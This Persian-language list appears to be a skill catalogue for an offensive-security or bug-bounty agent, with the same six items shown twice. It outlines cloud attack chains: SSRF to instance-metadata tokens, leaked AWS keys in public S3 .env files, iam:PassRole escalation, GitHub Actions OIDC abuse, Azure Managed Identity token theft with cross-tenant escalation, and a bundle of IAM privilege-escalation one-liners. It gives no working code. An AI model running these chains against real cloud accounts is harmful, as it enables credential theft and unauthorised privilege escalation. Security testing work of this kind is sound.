  • ‏اسکیل hunt-ssrf — بیشتر مسیرهای بیرونی به credential ابری با SSRF که به سرویس متادیتا می‌رسد شروع می‌شوند. primitive زنجیره: ‏SSRF + ‏IMDSv1 ← توکن نقش instance ← الگوهای privilege-escalation مربوط به cloud-iam-deep به S3 مربوط به prod / Secrets Manager می‌رسند.
  • ‏اسکیل hunt-cloud-misconfig — باکت‌های عمومی و کانفیگ‌های افشاشده رایج‌ترین وکتور نشت credential‌اند. primitive زنجیره: misconfig ابری ‏(.env در S3 عمومی) + کلید دسترسی AWS لویافتاده ← ‏enumerate مربوط به IAM ← زنجیره‌ی iam:PassRole به admin.
  • ‏اسکیل supply-chain-attack-recon — ‏CI/CD اغلب credentialهای دیپلوی طولانی‌عمر نگه می‌دارد. primitive زنجیره: misconfig مربوط به OIDC مربوط به GitHub Actions افشاشده + permission مربوط به assume-role ← فرض‌کردن نقش بین-اکانتی مربوط به cloud-iam-deep.
  • ‏اسکیل m365-entra-attack — ‏Managed Identity مربوط به Azure با service principalهای Entra هم‌پوشانی دارد. primitive زنجیره: ‏SSRF روی Azure App Service ← توکن Managed Identity ← ‏enumerate مربوط به Graph API مربوط به m365-entra-attack ← ارتقای بین-tenant.
  • ‏اسکیل security-arsenal — بسته‌ی payload ارتقای-privilege مربوط به Cloud IAM را لود کن ‏(۲۴+ الگوی AWS، ۸+ ‏Azure، ۶+ ‏GCP با تک‌خط‌های aws cli).
  • ‏اسکیل triage-validation — دروازه‌ی Server-State-vs-Policy را اعمال کن: پالیسی IAM آزاد به‌تنهایی یافته نیست؛ اکشن privileged واقعی نشان بده ‏(مثل خواندن secret مربوط به prod یا ساخت نقش بین-اکانتی) قبل از گزارش.
مراحل استخراج‌شده
  1. ۱‏اسکیل `hunt-ssrf` — بیشتر مسیرهای بیرونی به credential ابری با SSRF که به سرویس متادیتا می‌رسد شروع می‌شوند. primitive زنجیره: ‏SSRF + ‏IMDSv1 ← توکن نقش instance ← الگوهای privilege-escalation مربوط به `cloud-iam-deep` به S3 مربوط به prod / Secrets Manager می‌رسند.
  2. ۲‏اسکیل `hunt-cloud-misconfig` — باکت‌های عمومی و کانفیگ‌های افشاشده رایج‌ترین وکتور نشت credential‌اند. primitive زنجیره: misconfig ابری ‏(`.env` در S3 عمومی) + کلید دسترسی AWS لویافتاده ← ‏enumerate مربوط به IAM ← زنجیره‌ی `iam:PassRole` به admin.
  3. ۳‏اسکیل `supply-chain-attack-recon` — ‏CI/CD اغلب credentialهای دیپلوی طولانی‌عمر نگه می‌دارد. primitive زنجیره: misconfig مربوط به OIDC مربوط به GitHub Actions افشاشده + permission مربوط به assume-role ← فرض‌کردن نقش بین-اکانتی مربوط به `cloud-iam-deep`.
  4. ۴‏اسکیل `m365-entra-attack` — ‏Managed Identity مربوط به Azure با service principalهای Entra هم‌پوشانی دارد. primitive زنجیره: ‏SSRF روی Azure App Service ← توکن Managed Identity ← ‏enumerate مربوط به Graph API مربوط به `m365-entra-attack` ← ارتقای بین-tenant.
  5. ۵‏اسکیل `security-arsenal` — بسته‌ی payload ارتقای-privilege مربوط به Cloud IAM را لود کن ‏(۲۴+ الگوی AWS، ۸+ ‏Azure، ۶+ ‏GCP با تک‌خط‌های `aws cli`).
  6. ۶‏اسکیل `triage-validation` — دروازه‌ی Server-State-vs-Policy را اعمال کن: پالیسی IAM آزاد به‌تنهایی یافته نیست؛ اکشن privileged واقعی نشان بده ‏(مثل خواندن secret مربوط به prod یا ساخت نقش بین-اکانتی) قبل از گزارش.